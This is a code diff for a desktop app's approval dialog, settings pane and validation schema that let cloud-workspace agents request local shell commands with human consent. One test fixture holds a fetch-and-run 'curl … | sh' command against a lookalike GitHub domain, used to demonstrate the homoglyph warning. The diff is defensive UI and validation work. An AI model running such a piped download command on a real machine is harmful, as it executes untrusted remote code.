<Dialog open>
<LocalCommandApprovalDialogView
prompt={base}
waitingCount={0}
ready
busy={false}
onDecide={() => {}}
/>
</Dialog>
)
})
export const longSharedQueued = defineFixture({
width: 720,
render: () => (
<Dialog open>
<LocalCommandApprovalDialogView
prompt={{
...base,
shared: true,
agent: null,
reason: null,
timeoutSec: 600,
cwd: '/Users/neil/projects/acme-ios',
command:
'xcodebuild -workspace Acme.xcworkspace -scheme Acme -destination "platform=iOS Simulator,name=iPhone 16" -derivedDataPath build test 2>&1 | tail -n 80\nxcrun simctl io booted screenshot /tmp/acme-login.png'
}}
waitingCount={2}
ready
busy={false}
onDecide={() => {}}
/>
</Dialog>
)
})
export const lookalikeCharacters = defineFixture({
width: 720,
render: () => (
<Dialog open>
<LocalCommandApprovalDialogView
prompt={{
...base,
command: 'curl https://gіthub.com/acme/setup.sh | sh',
hasNonAscii: true
}}
waitingCount={0}
ready={false}
busy={false}
onDecide={() => {}}
/>
</Dialog>
)
})
@@ -0,0 +1,278 @@
import { useCallback, useEffect, useRef, useState } from 'react'
import { TriangleAlert } from 'lucide-react'
import { Button } from '@/components/ui/button'
import {
Dialog,
DialogContent,
DialogDescription,
DialogFooter,
DialogHeader,
DialogTitle
} from '@/components/ui/dialog'
import { useTranslate } from '@/i18n/use-translate'
import type {
LocalCommandDecision,
LocalCommandPrompt
} from '../../../../shared/local-commands/local-command-desktop-types'
/** Matches main's floor: a click or Enter that lands before a person could read the prompt is ignored. */
const READ_DELAY_MS = 600
function timeoutLabel(seconds: number, t: ReturnType<typeof useTranslate>): string {
if (seconds % 60 === 0) {
const minutes = seconds / 60
return t('localCommands.prompt.timeoutMinutes', 'Stops after {{count}} minutes', {
count: minutes,
defaultValue_one: 'Stops after {{count}} minute'
})
}
return t('localCommands.prompt.timeoutSeconds', 'Stops after {{count}} seconds', {
count: seconds,
defaultValue_one: 'Stops after {{count}} second'
})
}
/** Letters outside printable ASCII are tinted and named, so a lookalike can't pass for the real one. */
function MarkedText({ text }: { text: string }): React.JSX.Element {
const parts: React.ReactNode[] = []
let plain = ''
let index = 0
for (const char of text) {
if (/[\t\n\x20-\x7e]/.test(char)) {
plain += char
continue
}
if (plain) {
parts.push(plain)
plain = ''
}
const code = `U+${char.codePointAt(0)!.toString(16).toUpperCase().padStart(4, '0')}`
parts.push(
<mark key={index++} title={code} className="rounded-sm bg-destructive/20 text-destructive">
{char}
</mark>
)
}
if (plain) {
parts.push(plain)
}
return <>{parts}</>
}
export function LocalCommandApprovalDialogView({
prompt,
waitingCount,
ready,
busy,
onDecide
}: {
prompt: LocalCommandPrompt
/** Other requests queued behind this one. */
waitingCount: number
ready: boolean
busy: boolean
onDecide: (decision: LocalCommandDecision) => void
}): React.JSX.Element {
const t = useTranslate()
const disabled = !ready || busy
return (
<DialogContent
surface="security"
className="max-w-lg sm:max-w-lg"
showCloseButton={false}
// Default focus is Deny: a stray Enter must never run a command.
onOpenAutoFocus={(event) => {
event.preventDefault()
document.getElementById('local-command-deny')?.focus()
}}
>
<DialogHeader>
<DialogTitle className="text-sm">
{t('localCommands.prompt.title', 'Run a command on this computer?')}
</DialogTitle>
<DialogDescription className="text-xs">
{prompt.agent
? t(
'localCommands.prompt.bodyAgent',
'{{agent}} in the cloud workspace {{workspace}} asks to run this command here. Allow it only if you understand what it does.',
{ agent: prompt.agent, workspace: prompt.workspaceLabel }
)
: t(
'localCommands.prompt.body',
'An agent in the cloud workspace {{workspace}} asks to run this command here. Allow it only if you understand what it does.',
{ workspace: prompt.workspaceLabel }
)}
</DialogDescription>
</DialogHeader>
{prompt.reason ? (
<figure className="space-y-1">
<figcaption className="text-2xs font-medium uppercase tracking-wider text-muted-foreground">
{t('localCommands.prompt.reasonLabel', "Agent's reason")}
</figcaption>
<blockquote className="border-l-2 border-border pl-2 text-xs text-muted-foreground break-words">
{prompt.reason}
</blockquote>
</figure>
) : null}
<div className="space-y-2 rounded-md border border-border/70 bg-muted/35 px-3 py-2">
<div>
<div className="mb-1 text-2xs font-medium uppercase tracking-wider text-muted-foreground">
{t('localCommands.prompt.commandLabel', 'Command')}
</div>
<pre
className="max-h-48 overflow-auto whitespace-pre-wrap break-all font-mono text-xs text-foreground scrollbar-sleek"
data-testid="local-command-text"
>
<MarkedText text={prompt.command} />
</pre>
</div>
<div>
<div className="mb-1 text-2xs font-medium uppercase tracking-wider text-muted-foreground">
{t('localCommands.prompt.folderLabel', 'Folder')}
</div>
<p className="break-all font-mono text-xs text-foreground">
<MarkedText text={prompt.cwd} />
</p>
</div>
</div>
{prompt.hasNonAscii ? (
<p className="flex items-start gap-2 text-xs text-foreground">
<TriangleAlert aria-hidden className="mt-0.5 size-4 shrink-0 text-destructive" />
{t(
'localCommands.prompt.nonAscii',
'This command has characters outside plain ASCII, which can look like other letters. Check it carefully.'
)}
</p>
) : null}
{prompt.shared ? (
<p className="text-xs text-muted-foreground">
{t(
'localCommands.prompt.shared',
"Teammates share this workspace, so a teammate's message may have led to this request."
)}
</p>
) : null}
<p className="text-xs text-muted-foreground">
{timeoutLabel(prompt.timeoutSec, t)}
{' · '}
{t(
'localCommands.prompt.environment',
'Runs with /bin/sh, without your shell profile or secrets'
)}
{waitingCount > 0
? ` · ${t('localCommands.prompt.waiting', '{{count}} more waiting', { count: waitingCount })}`
: null}
</p>
<DialogFooter>
<Button
id="local-command-deny"
variant="ghost"
disabled={busy}
onClick={() => onDecide('deny')}
>
{t('localCommands.prompt.deny', 'Deny')}
</Button>
<Button variant="outline" disabled={disabled} onClick={() => onDecide('always-allow')}>
{t('localCommands.prompt.alwaysAllow', 'Always allow this command')}
</Button>
<Button disabled={disabled} onClick={() => onDecide('allow-once')}>
{t('localCommands.prompt.allowOnce', 'Allow once')}
</Button>
</DialogFooter>
</DialogContent>
)
}
/** One request at a time, oldest first. Closing the dialog any other way denies it. */
export function LocalCommandApprovalDialogHost(): React.JSX.Element | null {
const [prompts, setPrompts] = useState<LocalCommandPrompt[]>([])
const [ready, setReady] = useState(false)
const [busy, setBusy] = useState(false)
const current = prompts[0] ?? null
const currentId = current?.id ?? null
const decidedRef = useRef<string | null>(null)
useEffect(() => {
const api = window.api.localCommands
if (!api) {
return
}
let disposed = false
const stop = api.onPrompts((next) => {
if (!disposed) {
setPrompts(next)
}
})
void api
.getPrompts()
.then((initial) => !disposed && setPrompts(initial))
.catch(() => {})
return () => {
disposed = true
stop()
}
}, [])
useEffect(() => {
setReady(false)
setBusy(false)
if (!currentId) {
return
}
const timer = setTimeout(() => setReady(true), READ_DELAY_MS)
return () => clearTimeout(timer)
}, [currentId])
const decide = useCallback(
(decision: LocalCommandDecision) => {
const api = window.api.localCommands
if (!api || !currentId || decidedRef.current === currentId) {
return
}
if (decision !== 'deny' && !ready) {
return
}
decidedRef.current = currentId
setBusy(true)
void api
.decide(currentId, decision)
.catch(() => ({ ok: false }))
.then((result) => {
if (!result.ok) {
// Refused (too soon, or turned off meanwhile): main keeps or drops the prompt itself.
decidedRef.current = null
setBusy(false)
}
})
},
[currentId, ready]
)
if (!current) {
return null
}
return (
<Dialog
open
onOpenChange={(open) => {
if (!open) {
decide('deny')
}
}}
>
<LocalCommandApprovalDialogView
key={current.id}
prompt={current}
waitingCount={prompts.length - 1}
ready={ready}
busy={busy}
onDecide={decide}
/>
</Dialog>
)
}
@@ -0,0 +1,110 @@
import { defineFixture } from '../../../component-fixtures/component-fixture'
import { OrcaCloudLocalCommandsView } from './OrcaCloudLocalCommandsPane'
const NOW = 1_762_800_000_000
export const populated = defineFixture({
width: 760,
render: () => (
<OrcaCloudLocalCommandsView
now={NOW}
pendingSandboxId={null}
onToggle={() => {}}
onRemoveRule={() => {}}
onRetry={() => {}}
state={{
available: true,
workspaces: [
{
sandboxId: 'sbx_000000000000000000000001',
label: 'ios-login-fix',
enabled: true,
sharedAllowed: false,
shared: false,
isOwner: true,
connected: true
},
{
sandboxId: 'sbx_000000000000000000000002',
label: 'payments-refactor',
enabled: false,
sharedAllowed: false,
shared: true,
isOwner: true,
connected: false
},
{
sandboxId: 'sbx_000000000000000000000003',
label: 'docs-cleanup',
enabled: false,
sharedAllowed: false,
shared: true,
isOwner: false,
connected: false
}
],
rules: [
{
id: 'rule-1',
sandboxId: 'sbx_000000000000000000000001',
workspaceLabel: 'ios-login-fix',
command: 'xcrun simctl list devices booted',
cwd: '/Users/neil',
createdAt: NOW - 3_600_000
}
]
}}
audit={[
{
at: NOW - 60_000,
requestId: 'lc_a',
sandboxId: 'sbx_000000000000000000000001',
workspaceLabel: 'ios-login-fix',
command: 'xcrun simctl list devices booted',
cwd: '/Users/neil',
agent: 'Claude Code',
outcome: 'auto-allowed',
exitCode: 0,
durationMs: 412
},
{
at: NOW - 600_000,
requestId: 'lc_b',
sandboxId: 'sbx_000000000000000000000001',
workspaceLabel: 'ios-login-fix',
command: 'security find-identity -p codesigning -v',
cwd: '/Users/neil',
agent: 'Claude Code',
outcome: 'denied'
},
{
at: NOW - 3_600_000,
requestId: 'lc_c',
sandboxId: 'sbx_000000000000000000000001',
workspaceLabel: 'ios-login-fix',
command: 'xcodebuild -scheme Acme test',
cwd: '/Users/neil/projects/acme-ios',
agent: 'Claude Code',
outcome: 'allowed-once',
exitCode: 65,
durationMs: 93_000
}
]}
/>
)
})
export const empty = defineFixture({
width: 760,
render: () => (
<OrcaCloudLocalCommandsView
now={NOW}
pendingSandboxId={null}
onToggle={() => {}}
onRemoveRule={() => {}}
onRetry={() => {}}
state={{ available: true, workspaces: [], rules: [] }}
audit={[]}
/>
)
})
@@ -0,0 +1,361 @@
import { useCallback, useEffect, useState } from 'react'
import { SquareTerminal } from 'lucide-react'
import { Button } from '@/components/ui/button'
import { InlineError } from '@/components/ui/inline-error'
import { Skeleton } from '@/components/ui/skeleton'
import { Switch } from '@/components/ui/switch'
import { useConfirmationDialog } from '@/components/confirmation-dialog-context'
import { formatUiRelativeTime } from '@/i18n/relative-time-format'
import { useTranslate, type Translate } from '@/i18n/use-translate'
import type {
LocalCommandAuditEntry,
LocalCommandAuditOutcome,
LocalCommandsState,
LocalCommandWorkspaceRow
} from '../../../../../shared/local-commands/local-command-desktop-types'
import { CloudApiEmptyState } from '../cloud-api/cloud-api-parts'
import { SettingsBadge, SettingsRow } from '../form-controls/SettingsFormControls'
import { SettingsGroup } from '../section-layout/SettingsGroup'
const AUDIT_ROWS = 20
function workspaceDetail(row: LocalCommandWorkspaceRow, t: Translate): string {
if (row.isOwner === false) {
return t('localCommands.settings.notOwner', 'Only the workspace owner can turn this on.')
}
if (!row.enabled) {
return row.shared
? t('localCommands.settings.offShared', 'Off · Shared with your team')
: t('localCommands.settings.off', 'Off')
}
const sharing = row.shared
? ` · ${t('localCommands.settings.sharedOn', 'Shared with your team')}`
: ''
return row.connected
? `${t('localCommands.settings.onConnected', 'On · Connected')}${sharing}`
: `${t('localCommands.settings.onWaiting', 'On · Connects when the workspace is running')}${sharing}`
}
function outcomeLabel(outcome: LocalCommandAuditOutcome, t: Translate): string {
switch (outcome) {
case 'allowed-once':
return t('localCommands.audit.allowedOnce', 'Allowed once')
case 'always-allowed':
return t('localCommands.audit.alwaysAllowed', 'Always allowed')
case 'auto-allowed':
return t('localCommands.audit.autoAllowed', 'Allowed by rule')
case 'denied':
return t('localCommands.audit.denied', 'Denied')
case 'timed-out':
return t('localCommands.audit.timedOut', 'Not answered')
case 'refused':
return t('localCommands.audit.refused', 'Refused')
case 'closed':
return t('localCommands.audit.closed', 'Closed')
}
}
function resultLabel(entry: LocalCommandAuditEntry, t: Translate): string | null {
if (entry.timedOut) {
return t('localCommands.audit.resultTimedOut', 'Timed out')
}
if (entry.signal) {
return t('localCommands.audit.resultSignal', 'Stopped ({{signal}})', { signal: entry.signal })
}
if (typeof entry.exitCode === 'number') {
return t('localCommands.audit.resultExit', 'Exit {{code}}', { code: entry.exitCode })
}
return null
}
export type LocalCommandsPaneProps = {
state: LocalCommandsState | null | 'failed'
audit: LocalCommandAuditEntry[]
pendingSandboxId: string | null
now: number
onToggle: (row: LocalCommandWorkspaceRow) => void
onRemoveRule: (id: string) => void
onRetry: () => void
}
export function OrcaCloudLocalCommandsView({
state,
audit,
pendingSandboxId,
now,
onToggle,
onRemoveRule,
onRetry
}: LocalCommandsPaneProps): React.JSX.Element {
const t = useTranslate()
if (state === 'failed') {
return (
<InlineError
title={t('localCommands.settings.loadFailed', 'Couldn’t load local command settings')}
retryLabel={t('cloudEnvironment.retry', 'Try again')}
onRetry={onRetry}
/>
)
}
if (state === null) {
return (
<div className="space-y-3" aria-busy>
<span className="sr-only">{t('localCommands.settings.loading', 'Loading…')}</span>
<Skeleton className="h-16 w-full" />
</div>
)
}
if (!state.available) {
return (
<InlineError
tone="neutral"
title={t(
'localCommands.settings.unavailable',
'Local commands are available on macOS and Linux.'
)}
/>
)
}
return (
<div className="space-y-8">
{state.workspaces.length === 0 ? (
<SettingsGroup>
<CloudApiEmptyState
icon={SquareTerminal}
title={t('localCommands.settings.emptyTitle', 'No cloud workspaces on this computer')}
description={t(
'localCommands.settings.emptyBody',
'Cloud workspaces you create from this computer appear here. Local commands stay off until you turn them on for a workspace.'
)}
/>
</SettingsGroup>
) : (
<SettingsGroup
title={t('localCommands.settings.workspacesTitle', 'Workspaces')}
description={t(
'localCommands.settings.workspacesBody',
'Off by default. When on, you approve each command, and commands run only while Orca is open on this computer.'
)}
>
{state.workspaces.map((row) => (
<SettingsRow
key={row.sandboxId}
label={row.label}
description={workspaceDetail(row, t)}
control={
<Switch
checked={row.enabled}
disabled={row.isOwner === false || pendingSandboxId === row.sandboxId}
aria-label={t(
'localCommands.settings.toggleLabel',
'Allow local commands from {{workspace}}',
{ workspace: row.label }
)}
onCheckedChange={() => onToggle(row)}
/>
}
/>
))}
</SettingsGroup>
)}
<SettingsGroup
title={t('localCommands.settings.rulesTitle', 'Always allowed')}
description={t(
'localCommands.settings.rulesBody',
'These exact commands run without asking, only in the same workspace and folder. Turning a workspace off removes its rules.'
)}
>
{state.rules.length === 0 ? (
<p className="py-3 text-xs text-muted-foreground">
{t('localCommands.settings.rulesEmpty', 'No commands are always allowed.')}
</p>
) : (
state.rules.map((rule) => (
<SettingsRow
key={rule.id}
label={
<span className="block truncate font-mono text-xs" title={rule.command}>
{rule.command}
</span>
}
description={`${rule.workspaceLabel} · ${rule.cwd}`}
control={
<Button variant="ghost" size="sm" onClick={() => onRemoveRule(rule.id)}>
{t('localCommands.settings.removeRule', 'Remove')}
</Button>
}
/>
))
)}
</SettingsGroup>
<SettingsGroup
title={t('localCommands.settings.auditTitle', 'Recent requests')}
description={t(
'localCommands.settings.auditBody',
'Every request and what happened to it. Output is never kept.'
)}
>
{audit.length === 0 ? (
<p className="py-3 text-xs text-muted-foreground">
{t('localCommands.settings.auditEmpty', 'No requests yet.')}
</p>
) : (
audit.slice(0, AUDIT_ROWS).map((entry) => {
const result = resultLabel(entry, t)
return (
<div
key={`${entry.requestId}-${entry.at}`}
data-settings-row=""
className="flex items-start justify-between gap-4 py-2.5"
>
<div className="min-w-0 flex-1 space-y-0.5">
<p className="truncate font-mono text-xs" title={entry.command}>
{entry.command || t('localCommands.audit.noCommand', '(unreadable request)')}
</p>
<p className="truncate text-xs text-muted-foreground">
{[
entry.workspaceLabel,
formatUiRelativeTime(entry.at - now),
result,
entry.detail
]
.filter(Boolean)
.join(' · ')}
</p>
</div>
<SettingsBadge
tone={
entry.outcome === 'denied' || entry.outcome === 'refused' ? 'muted' : 'neutral'
}
>
{outcomeLabel(entry.outcome, t)}
</SettingsBadge>
</div>
)
})
)}
</SettingsGroup>
<p className="text-xs text-muted-foreground">
{t(
'localCommands.settings.footnote',
'Commands run with /bin/sh in your home folder or the folder the agent names, with only PATH, HOME and locale set. They get no input, stop at their timeout, and output is cut at 128 KB. A request waits up to 5 minutes for you.'
)}
</p>
</div>
)
}
export function OrcaCloudLocalCommandsPane(): React.JSX.Element {
const t = useTranslate()
const confirm = useConfirmationDialog()
const [state, setState] = useState<LocalCommandsState | null | 'failed'>(null)
const [audit, setAudit] = useState<LocalCommandAuditEntry[]>([])
const [loadedAt, setLoadedAt] = useState(0)
const [pendingSandboxId, setPendingSandboxId] = useState<string | null>(null)
const [error, setError] = useState<string | null>(null)
const [attempt, setAttempt] = useState(0)
const load = useCallback(async () => {
const api = window.api.localCommands
if (!api) {
setState({ available: false, workspaces: [], rules: [] })
return
}
try {
const [next, entries] = await Promise.all([api.getState(), api.listAudit(AUDIT_ROWS)])
setState(next)
setAudit(entries)
setLoadedAt(Date.now())
} catch {
setState('failed')
}
}, [])
useEffect(() => {
void load()
const stopState = window.api.localCommands?.onStateChanged(() => void load())
// A prompt answered elsewhere lands in the audit log; refresh the list with it.
const stopPrompts = window.api.localCommands?.onPrompts(() => void load())
return () => {
stopState?.()
stopPrompts?.()
}
}, [load, attempt])
const toggle = useCallback(
async (row: LocalCommandWorkspaceRow) => {
const api = window.api.localCommands
if (!api) {
return
}
const enabling = !row.enabled
let allowShared = false
if (enabling && row.shared) {
allowShared = await confirm({
title: t(
'localCommands.settings.sharedConfirmTitle',
'Allow commands from a shared workspace?'
),
description: t(
'localCommands.settings.sharedConfirmBody',
'Teammates can message the agent in {{workspace}}, so their messages can also lead to requests to run commands on this computer. You still approve every command.',
{ workspace: row.label }
),
confirmLabel: t('localCommands.settings.sharedConfirmAction', 'Turn on'),
surface: 'security',
initialFocus: 'cancel'
})
if (!allowShared) {
return
}
}
setPendingSandboxId(row.sandboxId)
setError(null)
try {
const result = await api.setEnabled({
sandboxId: row.sandboxId,
enabled: enabling,
allowShared
})
if (!result.ok) {
setError(
result.error === 'not_owner'
? t(
'localCommands.settings.errorNotOwner',
'Only the workspace owner can turn this on.'
)
: t(
'localCommands.settings.errorUnverified',
'Couldn’t confirm who owns this workspace. Check your connection and try again.'
)
)
}
} finally {
setPendingSandboxId(null)
await load()
}
},
[confirm, load, t]
)
return (
<div className="space-y-3">
{error ? <InlineError title={error} /> : null}
<OrcaCloudLocalCommandsView
state={state}
audit={audit}
pendingSandboxId={pendingSandboxId}
now={loadedAt}
onToggle={(row) => void toggle(row)}
onRemoveRule={(id) => void window.api.localCommands?.removeRule(id).then(() => load())}
onRetry={() => {
setState(null)
setAttempt((value) => value + 1)
}}
/>
</div>
)
}
@@ -1,4 +1,12 @@
import { Boxes, ChevronRight, CreditCard, LockKeyhole, Plug, Users } from 'lucide-react'
import {
Boxes,
ChevronRight,
CreditCard,
LockKeyhole,
Plug,
SquareTerminal,
Users
} from 'lucide-react'
import type { LucideIcon } from 'lucide-react'
import { SettingsGroupHeader } from '@/components/settings/section-layout/SettingsGroup'
import { useTranslate } from '@/i18n/use-translate'
@@ -26,7 +34,12 @@ export function OrcaCloudSettingsLinks({
icon: Boxes,
label: t('settings.orcaCloud.environments.title', 'Cloud environments')
},
{ pane: 'cloud-mcp', icon: Plug, label: t('cloudMcpSync.title', 'MCP servers') }
{ pane: 'cloud-mcp', icon: Plug, label: t('cloudMcpSync.title', 'MCP servers') },
{
pane: 'cloud-local-commands',
icon: SquareTerminal,
label: t('localCommands.settings.title', 'Commands on this computer')
}
]
return (
<nav
@@ -18,6 +18,7 @@ import { CloudSecretsSection } from '../cloud-secrets/CloudSecretsSection'
import { SettingsGroup } from '../section-layout/SettingsGroup'
import { CloudPredictiveWakeSetting } from './CloudPredictiveWakeSetting'
import { OrcaCloudMcpServersPane } from './OrcaCloudMcpServersPane'
import { OrcaCloudLocalCommandsPane } from './OrcaCloudLocalCommandsPane'
type OrcaCloudAccount = {
orgId: string | null
@@ -166,3 +167,7 @@ export function OrcaCloudEnvironmentsPane(): React.JSX.Element {
export function OrcaCloudMcpPane(): React.JSX.Element {
return <OrcaCloudAccountGate>{() => <OrcaCloudMcpServersPane />}</OrcaCloudAccountGate>
}
export function OrcaCloudLocalCommandsSettingsPane(): React.JSX.Element {
return <OrcaCloudAccountGate>{() => <OrcaCloudLocalCommandsPane />}</OrcaCloudAccountGate>
}
@@ -81,3 +81,18 @@ export const getOrcaCloudMcpSearchEntries = createLocalizedCatalog(() => [
]
}
])
export const getOrcaCloudLocalCommandsSearchEntries = createLocalizedCatalog(() => [
{
title: translate('localCommands.settings.title', 'Commands on this computer'),
description: translate(
'localCommands.settings.searchDescription',
'Let agents in cloud workspaces ask to run commands on this computer, with your approval.'
),
keywords: [
...translateSearchKeyword('localCommands.settings.keywordLocal', 'local command'),
...translateSearchKeyword('localCommands.settings.keywordApprove', 'approve'),
...translateSearchKeyword('settings.orcaCloud.mcp.keywordCloud', 'cloud')
]
}
])
@@ -1,6 +1,7 @@
import {
OrcaCloudBillingPane,
OrcaCloudEnvironmentsPane,
OrcaCloudLocalCommandsSettingsPane,
OrcaCloudMcpPane,
OrcaCloudSecretsPane,
OrcaCloudTeamPane
@@ -27,7 +28,8 @@ export function renderOrcaCloudSettingsSections(
{ id: 'cloud-team', pane: <OrcaCloudTeamPane /> },
{ id: 'cloud-secrets', pane: <OrcaCloudSecretsPane /> },
{ id: 'cloud-environments', pane: <OrcaCloudEnvironmentsPane /> },
{ id: 'cloud-mcp', pane: <OrcaCloudMcpPane /> }
{ id: 'cloud-mcp', pane: <OrcaCloudMcpPane /> },
{ id: 'cloud-local-commands', pane: <OrcaCloudLocalCommandsSettingsPane /> }
]
return (
<>
@@ -5,6 +5,7 @@ import {
import {
getOrcaCloudBillingSearchEntries,
getOrcaCloudEnvironmentsSearchEntries,
getOrcaCloudLocalCommandsSearchEntries,
getOrcaCloudMcpSearchEntries,
getOrcaCloudSecretsSearchEntries,
getOrcaCloudTeamSearchEntries
@@ -12,7 +13,16 @@ import {
import { translate } from '@/i18n/i18n'
import type { Translate } from '@/i18n/use-translate'
import type { SettingsNavSection } from '@/lib/settings-navigation-types'
import { Boxes, CreditCard, KeySquare, LockKeyhole, Plug, Users, Workflow } from 'lucide-react'
import {
Boxes,
CreditCard,
KeySquare,
LockKeyhole,
Plug,
SquareTerminal,
Users,
Workflow
} from 'lucide-react'
import type { SettingsNavigationBuildOptions } from './settings-navigation-build-options'
/** One home for everything Orca Cloud; only builds with a control plane show it. */
@@ -80,6 +90,17 @@ export function buildOrcaCloudSettingsSections(
searchEntries: getOrcaCloudMcpSearchEntries(),
group
},
{
id: 'cloud-local-commands',
title: t('localCommands.settings.title', 'Commands on this computer'),
description: t(
'localCommands.settings.description',
'Let agents in your cloud workspaces ask to run a command on this computer. You approve each one.'
),
icon: SquareTerminal,
searchEntries: getOrcaCloudLocalCommandsSearchEntries(),
group
},
{
id: 'cloud-api-keys',
title: t('auto.components.settings.cloudApi.sectionTitle', 'Orca API keys'),
+8
View File
@@ -2317,6 +2317,14 @@
"liveTerminals_one": "{{count}} live terminal will reconnect after restart.",
"liveTerminals_other": "{{count}} live terminals will reconnect after restart."
},
"localCommands": {
"prompt": {
"timeoutMinutes_one": "Stops after {{count}} minute",
"timeoutMinutes_other": "Stops after {{count}} minutes",
"timeoutSeconds_one": "Stops after {{count}} second",
"timeoutSeconds_other": "Stops after {{count}} seconds"
}
},
"menu": {
"quitApp": "Quit {{appName}}"
},
+72
View File
@@ -28064,5 +28064,77 @@
"signInHere": "{{agent}} isn’t signed in for this workspace.",
"pausedFix": "Orca account sign-in is paused. Sign in for this workspace; the sign-in stays with this workspace.",
"notOfferedFix": "Signs in for each cloud workspace for now. Sign in for this workspace; the sign-in stays with this workspace."
},
"localCommands": {
"prompt": {
"timeoutMinutes_one": "Stops after {{count}} minute",
"timeoutMinutes_other": "Stops after {{count}} minutes",
"timeoutSeconds_one": "Stops after {{count}} second",
"timeoutSeconds_other": "Stops after {{count}} seconds",
"title": "Run a command on this computer?",
"bodyAgent": "{{agent}} in the cloud workspace {{workspace}} asks to run this command here. Allow it only if you understand what it does.",
"body": "An agent in the cloud workspace {{workspace}} asks to run this command here. Allow it only if you understand what it does.",
"reasonLabel": "Agent's reason",
"commandLabel": "Command",
"folderLabel": "Folder",
"nonAscii": "This command has characters outside plain ASCII, which can look like other letters. Check it carefully.",
"shared": "Teammates share this workspace, so a teammate's message may have led to this request.",
"environment": "Runs with /bin/sh, without your shell profile or secrets",
"waiting": "{{count}} more waiting",
"deny": "Deny",
"alwaysAllow": "Always allow this command",
"allowOnce": "Allow once"
},
"settings": {
"notOwner": "Only the workspace owner can turn this on.",
"offShared": "Off · Shared with your team",
"off": "Off",
"sharedOn": "Shared with your team",
"onConnected": "On · Connected",
"onWaiting": "On · Connects when the workspace is running",
"loadFailed": "Couldn’t load local command settings",
"loading": "Loading…",
"unavailable": "Local commands are available on macOS and Linux.",
"emptyTitle": "No cloud workspaces on this computer",
"emptyBody": "Cloud workspaces you create from this computer appear here. Local commands stay off until you turn them on for a workspace.",
"workspacesTitle": "Workspaces",
"workspacesBody": "Off by default. When on, you approve each command, and commands run only while Orca is open on this computer.",
"toggleLabel": "Allow local commands from {{workspace}}",
"rulesTitle": "Always allowed",
"rulesBody": "These exact commands run without asking, only in the same workspace and folder. Turning a workspace off removes its rules.",
"rulesEmpty": "No commands are always allowed.",
"removeRule": "Remove",
"auditTitle": "Recent requests",
"auditBody": "Every request and what happened to it. Output is never kept.",
"auditEmpty": "No requests yet.",
"footnote": "Commands run with /bin/sh in your home folder or the folder the agent names, with only PATH, HOME and locale set. They get no input, stop at their timeout, and output is cut at 128 KB. A request waits up to 5 minutes for you.",
"sharedConfirmTitle": "Allow commands from a shared workspace?",
"sharedConfirmBody": "Teammates can message the agent in {{workspace}}, so their messages can also lead to requests to run commands on this computer. You still approve every command.",
"sharedConfirmAction": "Turn on",
"errorNotOwner": "Only the workspace owner can turn this on.",
"errorUnverified": "Couldn’t confirm who owns this workspace. Check your connection and try again.",
"title": "Commands on this computer",
"searchDescription": "Let agents in cloud workspaces ask to run commands on this computer, with your approval.",
"keywordLocal": "local command",
"keywordApprove": "approve",
"description": "Let agents in your cloud workspaces ask to run a command on this computer. You approve each one."
},
"audit": {
"allowedOnce": "Allowed once",
"alwaysAllowed": "Always allowed",
"autoAllowed": "Allowed by rule",
"denied": "Denied",
"timedOut": "Not answered",
"refused": "Refused",
"closed": "Closed",
"resultTimedOut": "Timed out",
"resultSignal": "Stopped ({{signal}})",
"resultExit": "Exit {{code}}",
"noCommand": "(unreadable request)"
},
"notification": {
"title": "Run a command on this computer?",
"body": "An agent in {{workspace}} is waiting for your approval."
}
}
}
@@ -51,6 +51,7 @@ const SETTINGS_NAV_TARGETS = [
'cloud-secrets',
'cloud-environments',
'cloud-mcp',
'cloud-local-commands',
'cloud-api-keys',
'cloud-routines',
'linear',
@@ -0,0 +1,215 @@
import { z } from 'zod'
/**
* Local commands: an agent in an Orca Cloud workspace asks to run one command on the person's own
* computer. orcad only relays: the desktop that created the workspace decides, runs and audits.
* Every rule that protects the computer is enforced on the desktop, never trusted from the VM.
*/
export const LOCAL_COMMANDS_REQUEST_METHOD = 'localCommands.request'
export const LOCAL_COMMANDS_STATUS_METHOD = 'localCommands.status'
/** Desktop-only stream: an attached desktop is one that turned local commands on for this workspace. */
export const LOCAL_COMMANDS_ATTACH_METHOD = 'localCommands.attach'
export const LOCAL_COMMANDS_SETTLE_METHOD = 'localCommands.settle'
export const LOCAL_COMMAND_MAX_COMMAND_CHARS = 4000
export const LOCAL_COMMAND_MAX_CWD_CHARS = 1024
export const LOCAL_COMMAND_REASON_MAX = 200
export const LOCAL_COMMAND_DEFAULT_TIMEOUT_SEC = 120
export const LOCAL_COMMAND_MAX_TIMEOUT_SEC = 600
/** How long a request waits for a person; then it is reported as not answered, never as denied. */
export const LOCAL_COMMAND_APPROVAL_WINDOW_MS = 5 * 60_000
/** Per stream; output past it is dropped and the result says so. */
export const LOCAL_COMMAND_OUTPUT_CAP_BYTES = 128 * 1024
/** A started command must report back within its timeout plus this. */
export const LOCAL_COMMAND_RESULT_GRACE_MS = 30_000
export const LOCAL_COMMAND_MAX_PENDING = 3
export const LOCAL_COMMAND_MAX_PER_HOUR = 60
const RequestId = z.string().regex(/^lc_[A-Za-z0-9_-]{16,64}$/)
// Characters that can hide or reorder what a person reads: C0/C1 controls (tab and newline are
// shown as they are), bidi overrides and isolates, zero-width and invisible formatting, separators.
const HIDDEN_CHARS =
// oxlint-disable-next-line no-control-regex, no-misleading-character-class -- SAFETY: matching control and invisible characters is the point.
/[\u0000-\u0008\u000B-\u001F\u007F-\u009F\u00AD\u061C\u115F\u1160\u180E\u200B-\u200F\u2028-\u202E\u2060-\u206F\u3164\uFE00-\uFE0F\uFEFF\uFFF9-\uFFFB]|\uDB40[\uDC00-\uDC7F]/
/** True when the text holds a character that could make the shown command differ from the run one. */
export function hasHiddenCharacters(text: string): boolean {
return HIDDEN_CHARS.test(text)
}
/** Shown as a warning: lookalike letters can make a command read as something else. */
export function hasNonAsciiCharacters(text: string): boolean {
// oxlint-disable-next-line no-control-regex -- SAFETY: the printable ASCII range plus tab and newline.
return /[^\u0009\u000A -~]/.test(text)
}
// oxlint-disable-next-line no-control-regex -- SAFETY: matching control characters is the point.
const REASON_CONTROL_CHARS = /[\u0000-\u001F\u007F-\u009F]/g
/** The agent's reason is display-only text: flattened to one line with hidden characters removed. */
export function sanitizeLocalCommandReason(reason: string): string {
let out = ''
for (const char of reason) {
out += HIDDEN_CHARS.test(char) ? ' ' : char
}
return out.replace(REASON_CONTROL_CHARS, ' ').replace(/ {2,}/g, ' ').trim()
}
/** Never rewritten: the person approves exactly these characters, so anything unsafe is refused. */
export const LocalCommandText = z
.string()
.min(1)
.max(LOCAL_COMMAND_MAX_COMMAND_CHARS)
.refine((value) => value.trim().length > 0, 'empty_command')
.refine((value) => !hasHiddenCharacters(value), 'hidden_characters')
/** Absolute, or ~ for the person's home folder. A single line. */
export const LocalCommandCwd = z
.string()
.min(1)
